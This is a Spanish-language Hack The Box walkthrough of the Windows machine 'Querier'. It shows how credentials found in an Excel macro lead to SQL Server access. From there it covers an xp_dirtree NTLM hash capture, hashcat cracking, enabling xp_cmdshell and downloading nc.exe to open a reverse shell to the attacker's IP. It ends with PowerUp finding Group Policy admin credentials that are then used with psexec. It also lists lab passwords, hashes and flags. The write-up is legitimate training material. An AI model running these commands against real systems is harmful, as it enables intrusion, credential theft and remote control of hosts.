This page looks best with JavaScript enabled

Hack The Box - Querier

 •  ✍️ sckull

Querier es una maquina de HackTheBox, descubrirmos credenciales en una coneccion de base de datos SQL Server dentro de los macros de Excel (xlsm) lo que nos dio acceso a la base de datos mediante un script de Impacket y que posteriormente nos permitio realizar Out-of-Band para obtener las credenciales, este ultimo nos permitio ejecutar una shell inversa. Tras ejecutar PowerUp encontramos credenciales las cuales utilizamos en PSexec para obtener privilegios de administrador.

Informacion de la Maquina

Nombre Querier box_img_maker
OS

Windows

Puntos 30
Dificultad Media
IP 10.10.10.125
Maker

mrh4sh


egre55

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.7, 8.1, 5.7, 4.3, 1.9],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Masscan

Utilizando la herramienta masscan para hacer un escaneo rapido de todos los puertos en tcp y udp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
masscan -p1-65535,U:1-65535 10.10.10.125 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-19 05:54:40 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49665/tcp on 10.10.10.125                                 
Discovered open port 49666/tcp on 10.10.10.125                                 
Discovered open port 49670/tcp on 10.10.10.125                                 
Discovered open port 47001/tcp on 10.10.10.125                                 
Discovered open port 135/tcp on 10.10.10.125                                   
Discovered open port 49664/tcp on 10.10.10.125                                 
Discovered open port 5985/tcp on 10.10.10.125                                  
Discovered open port 49668/tcp on 10.10.10.125                                 
Discovered open port 49671/tcp on 10.10.10.125                                 
Discovered open port 139/tcp on 10.10.10.125 

HTTP

Al realizar una busqueda de archivos y directorios en el puerto 5985 no encontramos nada.
image

SMBCLIENT

Enumerando SHARENAMES con smbclient encontramos Reports e intentamos conectarnos.

1
2
3
4
5
6
7
8
9
smbclient -L 10.10.10.125
Enter WORKGROUP\root's password: 

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	Reports         Disk      

Dentro de Reports econtramos un archivo xlsm el cual no contiene nada

1
2
3
smbclient \\\\10.10.10.125\\Reports

'Currency Volume Report.xlsm'

Binwalk

image

Al utilizar BinWalk para analizar el archivo en busqueda de archivos ocultos encontramos dentro del archivo un macro con el siguiente codigo:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"
 
  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub

Microsoft SQL Server

Ya que tenemos credenciales para la base de datos procedemos a utilizar mssqlclient.py el cual es un script que funciona para conectarnos a una base de datos utilizando autenticacion de windows. Ya dentro encontramos bases de datos que son por “default” en Microsoft SQL Server.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
python mssqlclient.py -p 1433 -windows-auth -debug reporting:'PcwTWTHRwryjc$c6'@10.10.10.125

SQL> SELECT name FROM master.dbo.sysdatabases
name                                                                                                                              
--------------------------------------------------------------------------------------------------------------------------------  
master                                                                                                                            
tempdb                                                                                                                            
model                                                                                                                             
msdb                                                                                                                              
volume

MSSQL OOB

Enumerando las diferentes bases de datos no encontramos ningun tipo de usuario y contraseña que nos pudiesen ayudar para conectarnos con otro usuario, asi mismo la ejecucion de comandos no esta permitida para nuestro usuario reporting. Pero el usuario si esta permitido para ejecutar xp_fileexist y xp_dirtree, por lo que aprovechando estos podemos hacer Out-of-Band. Se utilizo smbserver.py de forma local para crear un servidor samba y con mssqlclient.py se ejecuto el comando para hacer una ‘consulta’ hacia nuestra maquina y asi obtener las contraseñas.

1
2
exec master..xp_fileexist '\10.10.12.75\pwn' -- -
declare @q varchar(99);set @q='\\10.10.14.23\test';exec master.dbo.xp_dirtree @q HTTP/1.1

Local

1
python smbserver.py -smb2support -port 445 -ip 10.10.12.220 Me /tmp/me

Remote

1
EXEC MASTER.sys.xp_dirtree '\\10.10.12.220\Me', 1, 1

image

Hashcat

Utilizamos hashcat para desencriptar.

1
2
3
./hashcat64.bin -m 5600 -o querier.txt ntlm.txt ../rockyou.txt

mssql-svc::QUERIER:4141414141414141:8ef8d7fe8b397a3f34c6a0c4117ea619:010100000000000080f39672a1c9d401d5aeaac9f68f78d8000000000100100059004200680076004d007a006c005100020010004f007900530049004f00570045004c000300100059004200680076004d007a006c005100040010004f007900530049004f00570045004c000700080080f39672a1c9d4010600040002000000080030003000000000000000000000000030000042faac07e9e6916b7b486a8189925f3a6881014abed60765f5683d0f0e8104bf0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310032002e00320032003000000000000000000000000000

Valor del hash.

1
MSSQL-SVC::QUERIER:4141414141414141:8ef8d7fe8b397a3f34c6a0c4117ea619:010100000000000080f39672a1c9d401d5aeaac9f68f78d8000000000100100059004200680076004d007a006c005100020010004f007900530049004f00570045004c000300100059004200680076004d007a006c005100040010004f007900530049004f00570045004c000700080080f39672a1c9d4010600040002000000080030003000000000000000000000000030000042faac07e9e6916b7b486a8189925f3a6881014abed60765f5683d0f0e8104bf0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310032002e00320032003000000000000000000000000000:corporate568

User - Flag

1
python mssqlclient.py -p 1433 -windows-auth -debug MSSQL-SVC:'corporate568'@10.10.10.125

Ya que obtuvimos usuario y contraseña de podemos utilizarlos y activar xp_cmdshell para ejecutar comando dentro de la computadora.

1
EXEC sp_configure 'show advanced options', 1; EXEC sp_configure reconfigure; EXEC sp_configure 'xp_cmdshell', 1;EXEC sp_configure reconfigure; 

Ejecutando comandos, leyendo el flag user.txt.

1
2
3
4
EXEC master.dbo.xp_cmdshell 'more C:\Users\mssql-svc\Desktop\user.txt';
output                                                                                                                                                                                                                                                           
--------------------------------------
c37b41bb669da345bb14de50faab3c16

Shell

Utilizando powershell para descargar nc.exe (netcat) en la computadora.

1
EXEC master.dbo.xp_cmdshell 'powershell -command "& { iwr 10.10.12.33/nc.exe -OutFile C:\Users\mssql-svc\Desktop\nc.exe }"';

Utilizando nc.exe (netcat) para conectarnos de forma inversa a nuestro puerto local

1
EXEC master.dbo.xp_cmdshell 'C:\Users\mssql-svc\Desktop\nc.exe -e cmd 10.10.12.33 7878';

Local

1
nc -lvp 7878

Privesc

Estando dentro de la maquina como MSSQL-SVC procedemos a hacer una enumeracion con PowerUp el cual es un script escrito en powershell para enumerar los diferentes vectores de ataque para escalar privilegios en windows.

PowerUp

Descargamos, importamos PowerUp y hacemos una enumeracion de todas las funciones que contiene.

1
2
powershell -command "& { iwr 10.10.12.33/power.ps1 -OutFile C:\Users\mssql-svc\Desktop\power.ps1 }"
Import-Module .\power.ps1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Invoke-AllChecks | Out-File -Encoding ASCII checks.txt


[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
[*] Checking service executable and argument permissions...
[*] Checking service permissions...
[*] Checking %PATH% for potentially hijackable DLL locations...

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

[*] Checking for AlwaysInstallElevated registry key...
[*] Checking for Autologon credentials in registry...
[*] Checking for modifidable registry autoruns and configs...
[*] Checking for modifiable schtask files/configs...
[*] Checking for unattended install files...

UnattendPath : C:\Windows\Panther\Unattend.xml

[*] Checking for encrypted web.config strings...
[*] Checking for encrypted application pool and virtual directory passwords...
[*] Checking for plaintext passwords in McAfee SiteList.xml files....
[*] Checking for cached Group Policy Preferences .xml files....

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group 
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml

Al finalizar Nos encontramos que existe un archivo de Groups Policy que contiene un Usuario y Contraseña, en este caso el de Administrator. Utilizando el script psexec.py para conectarnos de manera remota con el Usuario Administrator y obtener una shell con nt authority\system.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
python psexec.py -debug Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.10.10.125

root@sckull:~/impacket/examples# python psexec.py -debug Administrator:'MyUnclesAreMarioAndLuigi!!1!'@10.10.10.125
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[+] StringBinding ncacn_np:10.10.10.125[\pipe\svcctl]
[+] Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.
Download it from https://www.dlitz.net/software/pycrypto
[*] Requesting shares on 10.10.10.125.....
[*] Found writable share ADMIN$
[*] Uploading file WsaCFcep.exe
[*] Opening SVCManager on 10.10.10.125.....
[*] Creating service EOzc on 10.10.10.125.....
[*] Starting service EOzc.....
[+] Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.
Download it from https://www.dlitz.net/software/pycrypto
[!] Press help for extra shell commands
[+] Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.
Download it from https://www.dlitz.net/software/pycrypto
[+] Your pycrypto doesn't support AES.MODE_CCM. Currently only pycrypto experimental supports this mode.
Download it from https://www.dlitz.net/software/pycrypto
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>cd ..

C:\Windows>cd C:\

C:\>cd Users\Administrator

C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is FE98-F373

 Directory of C:\Users\Administrator\Desktop

01/29/2019  12:04 AM    <DIR>          .
01/29/2019  12:04 AM    <DIR>          ..
01/28/2019  12:08 AM                33 root.txt
               1 File(s)             33 bytes
               2 Dir(s)   5,970,571,264 bytes free

C:\Users\Administrator\Desktop>more root.txt
b19c3794f786a1fdcf205f81497c3592
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe